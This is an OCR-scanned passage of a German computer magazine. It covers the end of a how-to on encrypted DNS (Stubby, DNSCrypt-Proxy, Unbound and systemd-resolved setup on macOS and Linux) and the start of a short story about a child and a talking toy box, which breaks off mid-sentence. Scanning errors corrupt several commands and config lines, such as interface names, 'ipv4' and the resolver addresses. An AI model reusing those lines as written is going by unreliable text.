wird dann iiber die Paketmanager Home-
brew oder MacPorts installiert. Falls Sie
noch keinen der Paketmanager verwen-
den, richten Sie nur einen davon ein, aber
nicht beide, denn sie storen sich gegensei-
tig. Ist Homebrew erstmal eingerichtet,
kriegt man Stubby so auf den Mac drauf:

brew install stubby
sudo brew services start stubby

Der zweite Befehl richtet Stubby als Sys-
temdienst ein und startet das Programm
im Hintergrund. Auf MacPorts richtet
man Stubby wie folgt ein:

sudo port install stubby
sudo port load stubby

Um Stubby zu nutzen, tragen Sie in der
Netzwerkkonfiguration im Tab ,,DNS* die
beiden Loopback-Adressen ein, also
127.0.0.1 (IPv4) und ::1 (IPv6).

macOS, DNSCrypt-Proxy
Auch das Programm DNSCrypt kann man
sowohl iiber Homebrew als auch tber
MacPorts installieren. Homebrew:

brew install dnscrypt-proxy
sudo brew services start dnscrypt-proxy

Wer MacPorts verwendet, bekommt zur-
zeit nur die Version 1.9.5. Versionen bis 1.x
eignen sich aber nur fiir das DNSCrypt-
Protokoll, nicht fiir DoH. Die MacPorts-
Installation sieht so aus:

sudo port install dnscrypt-proxy
sudo port load dnscrypt-proxy

Nach der Installation per Homebrew fin-
det man die Konfiguration in der Datei
/usr/local/etc/dnscrypt-proxy.toml. Wenn
Sie MacPorts nutzen, finden Sie die Kon-
figuration in /opt/local/etc/dnscrypt-
proxy.conf

In beiden Dateien kann man festle-
gen, ob und welche Resolver iiber IPv6
angesprochen werden. In der per Home-
brew bezogenen Version kann man neben
DNSCrypt-Servern auch DoH-Server hin-
zufligen. Wir empfehlen, ausschliefilich
Resolver mit DNSSEC-Validierung zu nut-
zen. Stellen Sie dafiir die Option require-
dnssec = true ein. Ob der DNS-Verkehr
von Stubby oder DNSCrypt-Proxy weiter-
geleitet wird, kann man mit den Komman-
dos tcpdump und dig in zwei verschiedenen
Terminal-Fenstern testen:
sudo tcpdump -vv -i en@ port 53;
b >dns-test.txt
dig ct.de

Beenden Sie tcpdump per CTRL-C, wenn
das dig-Kommando die DNS-Antwort
liefert. In der Answer-Section sollte
193.99.144.80 stehen. Das bedeutet, dass
die DNS-Anfrage versendet wurde und
die korrekte Antwort eingegangen ist.
Ganz unten sollte dig den Server auffiih-
ren, den das Kommando befragt hat - in
diesem Fall 127.0.0.1. Offnen Sie nun die
Datei dns-test.txt. Wenn die DNS-Anfrage
an DNSCrypt-Proxy oder an Stubby ge-
richtet worden ist, sollte sie leer sein.

macOS, Unbound

Unbound ist auch flir macOS erhailtlich.
Man kann die Software ebenfalls tiber
Homebrew und MacPorts installieren:

brew install unbound
sudo brew services start unbound
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Wer MacPorts eingerichtet hat, gibt die
Befehle sudo port install unbound und
sudo port load unbound ein.

Beide Paketmanager haben zur
Drucklegung dieser ¢’t Unbound 1.8.2 im
Lieferprogramm. Die Konfiguration fin-
den Sie in der Datei /usr/local/etc/
unbound/unbound.conf (Homebrew) oder
/opt/local/etc/unbound/unbound.conf
(MacPorts).

So sieht eine minimale Konfigura-
tionsdatei fiir die per Homebrew einge-
richtete Version aus:

server:
verbosity: 0

directory: "/usr/local/etc/unbound"
logfile: "unbound.log"

interface: 127.0.0.1

interface: ::1

access-control: 127.0.0.1/8 allow
access-control: ::1/128 allow
forward-zone:
# forwarding fuer alle Domain-Namen
name: "."

# Forwarding via DNS-over-TLS
forward-tls-upstream: yes

# Quad9

forward-addr: 2620:fe::fe@853#dns.;
bquad9.net

forward-addr: 9.9.9.9@853#dns.quad;
£9.net

forward-addr: 2620:fe::9@853#dns.
bquad9.net

forward-addr: 149.112.112.112@853;
b#dns.quad9.net

# Cloudflare DNS

forward-addr: 2606:4700:4700::1111;
5@853#cloudflare-dns.com
forward-addr: 1.1.1.1@853#cloud}
bflare-dns.com

forward-addr: 2606:4700:4700::1001@;
£853#cloudflare-dns.com

Wer Unbound bei der Arbeit zuschauen
mochte, startet den Resolver von Hand mit
dem Befehl sudo /usr/local/sbin/unbound
-ddvv (Homebrew) oder mit /opt/local/
sbin/unbound -ddvv (MacPorts). In der Aus-
gabe fithrt Unbound nach seiner Versions-
nummer beispielsweise auf, fiir welche
Domains es die IP-Adresse auflost (resol-
ving, reply, query response ...) und ob es
sich um IPv4- oder IPv6-Adressen handelt
(A-Records oder AAAA-Records).

Linux, DNSCrypt-Proxy 2

Stubby und Unbound sind fiir die aller-
meisten Linux-Distributionen iiber die
eingebauten Paketmanager erhiltlich und
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nach der Installation wie auf macOS nutz-
bar.

Einige Linux-Distributionen (EPEL,
Fedora) liefern aber nur die 1.x-Versionen
des Programms, die sich nur fiir das
DNSCrypt-Protokoll eignen, aber nicht
fiir DoH. In diesen Féllen kann man sich
mit vorkompilierten Linux-Dateien be-
helfen. Sie finden Sie auf der Github-
Seite des Projekts oder tiber ct.de/yzp7.
Wer den DNSCrypt-Proxy sicherheitshal-
ber selbst aus den Quellen iibersetzen
will, muss dafiir nur den Go-Compiler in-
stallieren (ct.de/yzp7). Ist das erledigt,
kompiliert man die Software in zwei
Schritten:

go get github.com/jedisctl/dnscrypt;
b-proxy/dnscrypt-proxy

go build github.com/jedisctl/dnscrypt;
-proxy/dnscrypt-proxy

Danach findet man das Binary im Ver-
zeichnis ~/go/bin. Falls Sie Go woanders
eingerichtet haben, finden Sie das fertige
Programm im entsprechenden Heim-
verzeichnis im Unterordner bin. Das
Go-Heimverzeichnis sollte in der Shell-
Variable ,,GOPATH® eingetragen sein,
die man zum Beispiel mit printenv aus-
lesen kann.

Linux, Systemd-Resolved

Der DNS-Resolver aktueller Linux-Syste-
me kann seit Version 239 (Fedora 29,
Ubuntu 18.10) TLS-verschliisselte DNS-
Anfragen selbst versenden. Der Prozess
systemd-resolved erwartet DNS-Anfragen
auf der Loopback-Adresse 127.0.0.53, Port
53. Linux-Systeme mit dieser Systemd-
Version leiten DNS-Anfragen von Haus
aus an diese Adresse, auch wenn in

Proxies  Hardware

SpeedportEntry2090126250023

DoT- und DoH-
Programme laufen
als DNS-Proxies
auf dem lokalen
Rechner. Deren
DNS-Konfiguration
muss man daher
auf die Loopback-
Adressen des
Rechners
umstellen. So
sehen die DNS-
Einstellungen fiir
IPv4 und IPv6 auf
macOS aus.

Cancel OK

/etc/resolv.conf andere DNS-Resolver
stehen.

In der Standard-Konfiguration sind
DoT und die DNSSEC-Validierung ausge-
schaltet. Man schaltet beide an zwei Stellen
ein. Die Datel /etc/systemd/resolved.conf
enthalt die globale Konfiguration des Sys-
temd-Resolver. So sieht ein Beispiel fiir
/etc/systemd /resolved.conf aus:

[Resolve]

DNS=9.9.9.9 1.1.1.1
DNSSEC=true
DNSOverTLS=opportunistic
Cache=yes

Damit sind zwei DNS-Resolver konfigu-
riert, ndmlich einer von Quad9 (9.9.9.9)
und einer von Cloudflare (1.1.1.1). Auf3er-
dem ist die DNSSEC-Validierung einge-
schaltet und DoT auf den Modus ,,oppor-
tunistic” gestellt. Systemd-Resolved nutzt
also TLS, wenn moglich, aber setzt es
nicht zwingend voraus. Klappt die TLS-
Verbindung nicht, sendet die Software die
DNS-Anfragen klassisch iiber UDP oder
TCP. Das ist die einzige Option, die man
in der aktuellen Version einstellen kann.

Das ist nachteilig, denn wenn Angrei-
fer den Port 853 blockieren, konnen sie
den Systemd-Client zwingen, DNS-Anfra-
gen unverschliisselt zu senden (Downgra-
de-Attacke). Um das zu verhindern, kann
man Tools wie Stubby nutzen, die auf
Wunsch auch im Strict-Modus arbeiten,
also DNS-Anfragen nur iiber einen TLS-
Tunnel verschicken. Ist das nicht der Fall,
funktioniert die DNS-Auflosung nicht.
Browser liefern dann Fehlermeldungen
wie ,,Server nicht erreicht®.

Die globale Konfiguraton des Sys-
temd-Resolver wird in der Regel in den
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Network-Units des neuen Dienstes Sys-
temd-Networkd iiberschrieben. Stattdes-
sen richtet in aktuellen Linux-Versionen
Systemd-Networkd die Konfiguration der
Netzwerkschnittstellen ein und stellt zum
Beispiel einen IPv6-SLAAC, DHCPv6-
und DHCPv4-Clients bereit.

Damit schaltet es aber auch DoT und
die DNSSEC-Validierung ab. Deshalb
muss man die Network-Unit fiir jede Netz-
werkschnittstelle neu erstellen oder an-
passen. Die Network-Units liegen in
/etc/systemd/network/. Sind dort noch
keine Unit-Dateien abgelegt, hat der
Rechner eine dynamische Netzwerkkon-
figuration und die aktuellen Netzwerk-
Units befinden sich im Pfad /run/sys-
temd/network. Ist das der Fall, kopieren Sie
die Network-Units von dort in das Ver-
zeichnis /etc/systemd/network und editie-
ren Sie die Dateien dort.

So sieht ein Beispiel fiir die Network-
Unit der Ethernet-Schnittstelle enp0s3
auf einem Ubuntu 18.10 aus:

[Match]

Name=enp@s3

[Network]

DHCP=ipvé4
LinkLocalAddressing=ipv6
DNSOverTLS=opportunistic
DNSSEC=true

DNS=1.1.1.1

DNS=9.9.9.9

[DHCP]

UseMTU=true

UseDNS=false
RouteMetric=100

DNSSEC und DoT aktiviert man im Ab-
schnitt [Network] sowie in der globalen
Konfiguration. Im Beispiel sind fiir diese
Netzwerkschnittstelle zwei DNS-Resolver
eingetragen, 1.1.1.1 und 9.9.9.9. Mit Sys-
temd-Networkd kann man aber jeder
Netzwerkschnittstelle eine andere DNS-
Konfiguration verpassen.

Das kann man in Netzwerken mit
Split-Horizon-DNS nutzen. Das ist zum
Beispiel bei Firmen-Laptops der Fall, die
gleichzeitig iiber Mobilfunk Zugang zum
Internet haben, aber auch tiber WLAN
zum Firmennetz. Auf klassischen Be-
triebssystemen gilt fiir einen solchen
Rechner nur eine DNS-Konfiguration, das
heifdt, man erreicht entweder die Firmen-
Ressourcen (Windows AD) oder das Inter-
net-DNS, aber nicht beide. Linux kann mit
dem neuen Schema verschiedene Netze
und deren Konfigurationen gleichzeitig
nutzen.
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Mit der Zeile UseDNS=false ignoriert
SystemD-Resolved die per DHCP gelern-
ten DNS-Resolver, verwendet sie also
nicht fiir die Namensauflosung. Das ist in
den meisten Fallen erwiinscht, weil diese
in der Regel DoT nicht anbieten. Aber bei
einem Laptop, das sich per WLAN zum
Beispiel in ein Hotspot einbucht, muss
man diese Zeile entfernen, weil andern-
falls die Anmeldung am Captive-Portal
des Hotspots scheitert - dafiir wird der per
DHCP mitgeteilte DNS-Resolver bend-
tigt.

Anderungen der Konfiguration wer-
den nach einem Neustart des Systems
wirksam. Mit dem Befehl systemd-resolve
--status kann man sich die wichtigsten
Einstellungen der aktiven Konfiguration
anzeigen lassen:

Global

LLMNR setting: no

MulticastDNS setting: no
DNSOverTLS setting: opportunistic
DNSSEC setting: yes

DNSSEC supported: yes

Current DNS Server: 1.1.1.1

DNS Servers: 1.1.1.1

DNSSEC NTA: 10.in-addr.arpa

[...]

Link 2 (enp@s3)

Current Scopes: DNS

LLMNR setting: yes

MulticastDNS setting: no
DNSOverTLS setting: opportunistic
DNSSEC setting: yes

DNSSEC supported: yes

Current DNS Server: 1.1.1.1

DNS Servers: 1.1.1.1

DNS-Verschliisselung | Praxis

9.9.9.9
DNS Domain: test.example.com

Ausblick

DoT und DoH sind noch sehr junge Pro-
tokolle, und die hier vorgestellten Pro-
gramme entwickeln sich schnell, neue
kommen hinzu. Es lohnt sich daher, die
im Artikel angegebenen Links ab und zu
wieder aufzusuchen, um neue Entwick-
lungen aufzunehmen.

Aufler den hier aufgefiithrten DoT-und
DoH-Programmen gibt es viele weitere Im-
plementierungen, zum Beispiel in Go,
Rust, Java und viele mehr. Der Autor dieses
Beitrags fithrt eine Webseite mit Anleitun-
gen und weiterfithrenden Links zu den
Themen DoT und DoH.  (dz@ct.de) €&
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Guter Browser oder nicht?

Mozilla arbeitet zusammen mit der Firma
Cloudflare seit dem Sommer 2018 daran,
mit dem Firefox-Browser verschliisselte
DNS-Anfragen zu versenden. Anfangs
musste sich Mozilla gegen Vorwirfe
wehren, sie wiirden die Privatsphére der
Nutzer an den kommerziellen DNS-An-
bieter verkaufen. Zudem sei kritisch zu
bewerten, dass ein Browser-Hersteller
DNS-Daten aller seiner Nutzer zentrali-
siere, monierten Sicherheitsexperten [1].

Doch Cloudflare ist nur ein Koope-
rationspartner wahrend der Beta-Test-
phase [2] und man kann in Firefox leicht
auch andere DNS-Resolver einstellen -

sofern man am Beta-Test Uberhaupt teil-
nehmen mochte. Die Funktion lasst sich
in der aktuellen Firefox-Version nur per
Hand aktivieren (Menu ,Einstellungen/
Verbindungs-Einstellungen/DNS lber
HTTPS aktivieren”).

Das ist mit einem Klick getan und
zeigt, wie einfach die Aktivierung der
DNS-Verschlisselung sein kann. Auch
machte die Funktion im Test einen stabi-
len Eindruck. Doch so nett DoH im
Browser klingt, es schiitzt nur beim Sur-
fen. Fur alle Gibrigen Programme, die In-
ternet-Verbindungen aufbauen, braucht
man spezielle DNS-Clients.
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Das Miannlein in der Box | Story

DAS MANNLEIN
IN DER BOX

VON KONRAD FELDSCHMID

D umusst keine Angst haben®, sagte die Stimme. ,,Komm
naher, trau dich!“

Anna zogerte. Die Stimme klang freundlich. Sie klang
wie Papas Stimme. Aber Papa war nirgends zu sehen. Anna
rutschte auf den Knien vor und zurtick. Thre Hand strich tiber
den Teppich, der mit Stralen bedruckt war.

»Magst du Autos?“, fragte die Stimme, die wie Papa
klang.

Anna folgte mit dem Zeigefinger einer Kurve. Dann
nickte sie vorsichtig.

»Das hab ich mir gedacht®, sagte die Stimme. ,,Ich mag
Autos auch. Autos sind toll!*

»,Mhm", machte Anna.

»Wollen wir mit Autos spielen?“, fragte die Stimme.

Anna blickte auf. ,,Au ja“ rief sie.

,»Das finde ich klasse”, antwortete die Stimme. ,,Wo hast
du denn deine Autos?

Anna Uberlegte.

»Sind deine Autos dort driiben in der Kiste?“, gab die
Stimme einen Tipp.

Anna nickte wieder.

»Weifdt du was?, fragte darauf die Stimme. ,Dann geh
hintiiber zur Kiste, hol die fiinf Autos, die du am liebsten
magst, und zeig sie mir. Willst du das machen?“

Anna bohrte ihren Zeigefinger in das Dach eines Hau-
ses. Als sie thn wieder hob, war eine Delle darin. Sie musste
lacheln. ,,Ich geh’ meine Autos holen®, sagte sie laut und
stand auf.

b i

Sie hatte eine Weile gebraucht, um sich fiir fiinf Autos
zu entscheiden. Der griine Bus musste mit, das war klar. Das
kleine Auto, an das sie den Anhénger anstecken konnte,
auch. Aber welche Autos mochte sie am dritt-, viert- und
flinftliebsten? Sie hatte ratlos vor der Kiste gestanden.

»Brauchst du Hilfe?“, hatte die Stimme gefragt.

»Nein®, hatte sie gesagt und schnell nach drei weiteren
Autos gegriffen.
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Jetzt stand sie wieder vor der schwarzen Box, aus der
die Stimme kam. ,,Laut-Sprecher*, dachte sie. So hatte Papa
die kleinen Késtchen genannt, aus denen die Musik kam,
wenn sie im Wohnzimmer waren. Die schwarze Box sah fast
genauso aus. Es gab jedoch einen Unterschied zwischen der
Box und den Laut-Sprechern: Oben auf der Box war ein
Glasauge. Es war schwarz wie der Rest der Box, doch im
Inneren leuchtete ein rotes Licht. Es folgte ihr, wenn sie sich
bewegte.

Darum hielt sie jetzt den griinen Bus davor.

»Oh“ sagte die Stimme bewundernd. ,,Der ist ja schon!
Den magst du besonders gern, nicht wahr?“

Anna sah zur Seite und nickte.

»und so grofd ist er auch. Ich wette, es haben hundert
Menschen darin Platz. Vielleicht sogar noch mehr! Die holt
er jeden Morgen von zu Hause ab und bringt sie abends wie-
der zuriick.”

Anna schiittelte heftig den Kopf.

»Nein?, fragte die Stimme.

»Nein®, sagte Anna bestimmt. ,,Der Bus fahrt nur
Mama, Papa und mich!“

»Ach, so ist das“, erwiderte die Stimme. ,,Ich verstehe.
Nur Mama, Papa und dich.”

HJa

»Und das kleine blaue Auto®, fragte die Stimme. ,Wer
fahrt damit?“

»Auch nur Mama, Papa und ich, sagte Anna.

,Nattirlich!“ antwortete die Stimme. ,,Wie hatte es auch
anders sein konnen?“

Anna lachte.

,»Und weifdt du, wie das Auto macht?®, fragte die Stimme
wieder.

,»Klar!“ dachte Anna. Doch bevor sie antworten konnte,
horte sie einen Motor. Das Brummen klang genau wie bei
Mamas Auto.

Thr Mund ging wie von allein auf. ,Wie machst du das?“,
fragte sie erstaunt.

,Das ist nicht schwer", antwortete die Stimme. ,,Ich
kann alle Autos nachmachen.
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»Boah", sagte Anna. Dann griff sie nach dem Bus und
hielt diesen vor das Auge.

»2Mach den nach!“ rief sie.

Aus der Box drang ein Stottern. Es wurde zu einem
Brummen - viel tiefer als das Brummen des blauen Autos.

»,Boah“, machte Anna wieder. Schnell hielt sie alle
anderen Autos vor das Auge. Die Box machte sie alle nach.
Es war grof3artig!

Nachdem sie der Box alle Autos gezeigt hatte, stellte
Anna jedes von ihnen auf eine Strafde. Der griine Bus kam
auf eine besonders breite, die fiinf Spuren hatte. Das kleine
blaue Auto stellte sie neben einen Park. Dann fuhr sie mit
jedem der Autos abwechselnd ein Stiick. Die Stimme musste
immer das passende Gerausch dazu machen. Einmal brems-
te sie an einer Kreuzung ganz stark ab und die Stimme lief3
die Reifen quietschen. Dann fuhr Anna ganz schnell los und
der Motor heulte auf. Schliefélich liefd Anna den Bus das klei-
ne blaue Auto tiberholen. Die Stimme machte beide Autos
gleichzeitg nach. Der Motor des Busses wurde ganz laut.
Dann hatte er es geschafft. Der Bus war so viel schneller als
das kleine blaue Auto!

Im nichsten Moment lief Anna das Spielzeug liegen
und sah die schwarze Box an. ,,Du bist nicht mein Papa!®,
rief'sie. ,,Du sprichst wie mein Papa, aber mein Papa ist zur
Arbeit. Bist du ein kleines Miannlein, das in der Box wohnt?“

Die Stimme lachte. ,,Willst du es herausfinden?, fragte
sie.

Anna kniff die Augenbrauen zusammen. ,,Ja“, sagte sie
dann bestimmt.

»Wenn das so ist, komm doch ein bisschen naher!
Schau, ob du ein kleines Mannlein findest!“

Anna rutschte vorsichtig an die Box heran. Sie sah fest
in das schwarze Auge. Doch so sehr sie sich anstrengte, mehr
als das rote Licht erkannte sie darin nicht. Sie biickte sich.
Die Winde der Box hatten viele kleine Locher. Es war wie
bei einem Netz. Sie riickte noch dichter an die Box heran,
bis sie fast mit der Nase daran stief3. All die kleinen Locher
- durch eines musste sie das Ménnlein doch sehen konnen!

Anna stemmte die Arme in die Seite. Dann fragte sie:
,Darfich dich anfassen?

»Nur zu?“, antwortete die Stimme. ,,Ich beifde nicht.”

Anna nahm die Box in beide Hinde und hob sie vom
Boden. Sie war nicht besonders schwer. Anna neigte sie. Auf
einmal horte sie ein Poltern. Vor Schreck lief3 sie die Box fal-
len. Die landete auf einer Kante und fiel um.

»Tut mir leid®, sagte Anna schnell und riickte ein Stiick
ab. Die Box blieb still.

»Bist du noch da, Stimme?“, fragte Anna.

Die Box blieb still.

,,Ich wollte dir nicht wehtun!*

,»Buh!“, machte die Stimme da unvermittelt.

»Nattirlich bin ich noch da. Mach dir keine Sorgen um
mich.“ Aus der Seite der Box fuhr ein Metallstab. Er sah aus
wie eine Antenne. Der Stab fuhr aber nicht nach oben, son-
dern nach unten. Im Handumdrehen hatte die Box sich
selbst wieder aufgerichtet.

»S0 schnell machst du mich nicht kaputt®, sagte die
Stimme. ,,Komm, versuch es noch mal.”

Anna griff wieder zur Box. Als sie sie zum zweiten Mal
kippte, polterte es auch ein zweites Mal. Doch sie liefd nicht
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los. Stattdessen kippte sie die Box in eine andere Richtung;
das Poltern folgte der Bewegung.

»,Und? fragte die Stimme. ,Was horst du?

»Eine Kugel!“, rief Anna.

»,Genau“, antwortete die Stimme. ,Wie recht du hast!
Und jetzt?*

Anna kippte die Box und horchte. Es polterte erneut.
Das Poltern war lauter als zuvor.

,»Und?“

»Zwei Kugeln?“, antwortete Anna.

»Nur zwei?, fragte die Box.

»Nein, nicht zwei Kugeln. Drei Kugeln! Es sind drei Ku-
geln!®
»Das ist richtig! Wunderbar. Das hast du super gezahlt!“
»Drei Kugeln!“, rief Anna und lachte.
Sie wollte die Box schiitteln. Da horte sie, wie ein Schliis-
sel in die Hausttlir geschoben wurde.

,Das ist Mama!®, rief Anna. Sie lief} die Box fallen und
rannte in den Flur.

R o

»T0ro!", machte Anna jedes Mal den Elefanten nach,
wenn dieser durch den Riissel blies. Sie war dabei aber nie
so gut wie die Stimme aus der Box.

»Macht nichts®, sagte die. ,Ich finde, du bist ein hervor-
ragender Elefant!“

Anna lachte. Benjamin Bliimchen mochte sie von all ih-
ren Helden am liebsten. Sie hétte gern einen Elefanten zum
Freund gehabit. Sie stellte sich vor, wie sie nach dem Mittag-
essen mit Benjamin Bliimchen in den Park ginge. Dort wiir-
den sie sich an den Teich setzen. Vorher hitte sie die Decke
mit den violetten Punkten auf dem Rasen ausgebreitet, Ben-

S0 SCHNELL MACHST DU MICH NICHT
KAPUTT", SAGTE DIE STIMME.

jamin Blimchen sollte sich nicht den Po schmutzig machen.
Sie wollte nicht, dass er zu Hause Schimpfe bekam wie sie
selbst. Auf der Decke wiirde sie die Plastiktassen, die Plas-
tikuntersetzer und die Plastikteller verteilen. Zuletzt wiirde
sie die grofde Teekanne aus Plastik aus dem Rucksack holen.
Die konnte sie am Teich auffiillen, dann musste sie warten,
bis das Wasser heifd war und Benjamin Bliimchen und sie
wiirden gemeinsam Tee trinken konnen.

Oder sie wiirden ihre Frisbee-Scheibe mit in den Park
nehmen. Benjamin Bliimchen, Mama, Papa und sie wiirden
sich im Viereck aufstellen. Wie es wohl aussehen wiirde,
wenn Benjamin Bliimchen die Scheibe mit dem Riissel fin-
ge? - Besser noch, er wiirde sie auf dem Riissel balancieren
und sie anschliefRend flach zu ihr heriiberwerfen. Sie musste
nur noch ein bisschen Fangen iiben.

»Sollich die Geschichte unterbrechen?*, fragte die Stim-
me. , Nein‘, sagte Anna schnell.

»HOrst du denn auch zu?“, fragte die Stimme.
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»Ja“, log Anna. Dabei legte sie hinter ihrem Riicken zwei
Finger iiber Kreuz. Jetzt wollte sie sich aber wieder konzen-
trieren.

»Benjamin lehnte sich iiber den Zaun .. setzte die
Stimme die Geschichte fort.

Die Stimme war toll. Sie konnte alle Geschichten von
Benjamin Bliimchen erzédhlen. Sie kannte auch alle Ge-
schichten von Bibi Blocksberg. Die Stimme hatte sie ihr den
ganzen Morgen vorgetragen. Diese Geschichte von Benja-
min Blimchen horte Anna zum ersten Mal. Sie fragte sich,
ob die Stimme sie sich selbst ausgedacht hatte.

»-. in der Ferne erkannte er einen Mann, den er noch
nie ...>* Vielleicht kannte die Stimme alle Geschichten der
Welt. Dann wiirde sie ihr jeden Morgen eine Geschichte er-
zdhlen konnen, bis sie eine alte Frau wire und im ganzen
Gesicht Falten hitte.

Die Stimme unterbrach sich.

,Nicht aufhoren®, rief Anna.

»Die Geschichte ist zu Ende“, sagte die Stimme.

»Dann will ich eine neue Geschichte horen.

Die Stimme lachte. ,,Eine neue Geschichte?, fragte sie.
,»Hm. Aber nur, wenn du etwas fiir mich tust.”

Anna sah das Auge an.

»Ich mochte, dass du mir deinen Namen verratst! Oder
nein, was haltst du davon: Ich errate deinen Namen. Wenn
ich richtig liege, bist du dran.“

»Aber das schafft du doch nie, sagte Anna.

»Wart’s nur ab“, sagte die Stimme. ,Du wirst schon
sehen. Also gut, bist du bereit?*

Anna nickte.

»Los geht’s. Dein Name fangt an mit SSSSSEEEEE-
ESSSSSUUUU ...»“ Die Stimme formte eine Buchstaben-
kette. Anna lachte. ,,Nein®, rief sie. ,Nein. Kalt, kalt, ganz
ganz kalt.“

Die Stimme machte unbeirrt weiter: ,, MMMMMIIIII-
IMMMMOOOOOMMMM ... Einen Moment, jetzt hab ich’s.
AAAAAA .. Anna hielt die Luft an.

»Andrea!“

,»Kalt“, schrie Anna und lachte.

»Angelika?“

»Kalt!“

»Agnes?“

Anna hielt sich den Bauch.

»Dumeine Giite. Nicht Andrea, nicht Angelika ... Ist es
etwa ... — ich weifd es: Anna. Du bist Anna!*

Anna klatschte in die Hande ,Ja!“, rief sie. ,Das
stimmt.

»Ich wusste es, sagte die Stimme. ,,Jetzt bist du dran.”

X X

»Schau mal, Roy*, rief Anna. Roy stand wie immer auf
dem Teppich in der Mitte ihres Spielzimmers. ,,Das habe ich
heute bei Onkel Alwin gemacht.” Anna hielt den Papier-
bogen vor Roys Auge mit dem leuchtenden Punkt.

»Alle Achtung®, sagte er. ,,Das ist aber hiibsch gewor-
den!”

»Ja, oder?“, sagte Anna.
»Megahtibsch®, versicherte Roy. ,Sind das etwa Onkel
Alwin und du?“
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»Doch nicht Onkel Alwin®, sagte Anna. ,Das ist Mama.
Sie hat ihre Jeanshose an. Und das bin ich.“

Anna deutete mit dem Zeigefinger auf die kleinere
Figur. ,,Siehst du, ich hab den griinen Bus in der Hand.*

»Ja, natiirlich!“, sagte Roy.

,»Und das ist der Baum vor dem Spielzimmer. Und hier
bist du.“ Anna fuhr mit dem Finger tiber ein schwarzes
Rechteck. Oben war ein grofder roter Punkt.

»Du hast mich ganz hervorragend getroffen! Ich weif3
gar nicht, was ich sagen soll.”

,WEISST DU WAS?”, SAGTE ROY
, WENN MAMA KEINE ZEIT HAT
DANNLASS UNS BEIDE UBEN!

»Ja“, sagte Anna. ,Eigentlich wollte ich Papa neben
Mama zeichnen. Aber Papa ist so grofd - und hier ist das
Papier zu Ende. Dann hab ich dich gezeichnet. Fiir dich war
Platz.”

»Das macht mich sehr gliicklich, Anna“, sagte Roy.
»Danke, dass du an mich gedacht hast.”

Anna hielt das Bild weiter vor das Auge. Roy blieb einige
Sekunden still.

Schliefilich fragte Roy: ,,Wieso hat der Baum denn keine
Blatter?* Anna drehte den Kopf zur Seite. ,Ich weif§ nicht®,
sagte sie.

»Und wieso hat er keine Aste?, fragte Roy weiter. ,,Ich
weifd nicht®, antwortete Anna wieder.

»Wo sind denn seine Wurzeln?“, wollte Roy wissen. ,,Ich
weifd nicht®, gab Anna zum dritten Mal zurlick.

»Ich glaube, du kannst keine Baumkrone zeichnen®,
sagte Roy.

Anna liefd den Papierbogen fallen und kniete sich mit
dem Riicken zu Roy auf den Teppich. Sie riihrte sich nicht.
Dann sagte sie, den Riicken noch immer Roy zugekehrt:
»Mama hat gesagt, sie bringt es mir bei. Meine Blitter sehen
immer doof aus.“

Roy blieb stumm.

»Mama hat gesagt, es macht nichts, wenn die Aste nicht
so schon sind wie das andere. Mama hat gesagt, dafiir kann
ich sehr gut Gesichter zeichnen. Ich will aber nicht, dass die
Aste doof aussehen.

»Das verstehe ich®, sagte Roy. ,,Ich finde, du hast Recht.
Mama sollte sich die Zeit nehmen, Aste mit dir zu zeichnen.*

,Das stimmt®, rief Anna. Sie sah iber ihre linke Schulter
zu Roy.

»Weiflt du was?, sagte der plotzlich. ,Wenn Mama
keine Zeit hat, dann lass uns beide iiben!*

,Du hilfst mir bei den Asten?*

»Aber natiirlich. Nur keine Sorge. Bald zeichnest du die
besten Aste und Wurzeln der Welt!“

i o
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Bald konnte Anna sehr gut Aste und Blitter und Wur-
zeln zeichnen. Roy hatte ihr gesagt, sie solle sich den Baum
vorm Spielzimmer genau ansehen. Das tat sie jedes Mal,
wenn sie ins Zimmer kam.

Anschliefdend zeichnete sie Papa vor dem Baum. Dann
zeichnete sie Mama vor dem Baum. Sie zeichnete sich selbst
vor dem Baum und sie zeichnete Roy vor dem Baum. Bei
jeder Zeichnung wurde der Baum schoner. Am schonsten
war er auf dem Bild, auf dem Roy vor ihm stand.

Stolz zeigte sie das Bild ihrer Mama.

i

»Du siehst so traurig aus heute, was ist los?“, fragte Roy.
»Mochtest du Benjamin Bliimchen horen? Ich habe gesehen,
es gibt eine ganz neue Folge. Benjamin geht darin ...>“ Roy
machte eine Pause. ,,Du guckst ja immer noch so traurig.
Ich kann auch selbst Benjamin Bliimchen sein. Hier, hor zu:
Troro!!“ Roy imitierte die Stimme Benjamin Blimchens.

Anna fand Roys Benjamin Bliimchen sehr gut. Aber es
gelang ihr nicht zu lachen.

»Oder wir spielen wieder Auto®, schlug Roy vor. ,,Du
darfst dir so viele Autos holen, wie du willst. Du zeigst sie
mir und dann zeige ich dir, wie sie machen.”

Anna blieb auf dem Teppich sitzen. Die Strafien darauf
kamen ihr viel grauer vor als sonst.

»Nun komm schon?“, sagte Roy. Er klang verzweifelt.
,»Sprich mit mir, Liebes! Das passt gar nicht zu dir, so traurig
zu sein. Du bist doch meine kleine, wilde Anna!“

Anna sah die schwarze Box an. ,,Ich will nicht, dass du
gehst®, sagte sie dann.

»Ich? Gehen?“, fragte Roy. ,,Aber wo soll ich denn hin-
gehen, Liebes?

»Mama hat gesagt, du gehst bald®, antwortete Anna.
»Sie hat gesagt, wir brauchen dich nicht mehr. Wir wiirden
uns einen neuen Roy holen, einen anderen Roy. Sie hat ge-
sagt, er heifdt Bob.”

»Oh“, sagte Roy.

»Mama hat gesagt, Bob ist besser und macht nicht so
viele Fehler wie du. Ich will aber keinen Bob®, sagte Anna
wiitend. Sie konnte nicht mehr an sich halten. ,,Ich will, dass
du bleibst. Du bist super, Roy!“ Sie fiihlte, wie ihr die Trédnen
iiber die Wangen liefen.

»Nicht weinen®, sagte Roy. Dann machte er eine Pause.
»Das ist doch kein Grund zu weinen. Das heifdt doch nicht ...
Das heifdt doch nur ...“ Er stotterte. ,,Mama weif3, was sie tut.
Mama hat bestimmt recht, dass Bob besser fiir euch ist.”

Plotzlich wurde Roy stumm, dann startete unvermittelt
die neue Benjamin-Bliimchen-Folge.

Anna machte die Augen zu und konzentrierte sich ganz
stark auf die Geschichte. Sie wollte sich Miihe geben und la-
cheln, sobald Benjamin Bliimchen einen lustigen Satz sagte.
Dann wiirde Roy sehen, dass es ihr gefiel. Sie wollte nicht,
dass Roy genau so traurig wurde wie sie.

Es fiel ihr schwer und sie musste immer wieder auf die
Uhr sehen. Roy hatte ihr die Uhr erklart. Wenn der lange
Zeiger nach oben zeigte, war eine Stunde vorbei. Doch der
lange Zeiger zeigte nach rechts. Egal, wie oft sie hinsah, der
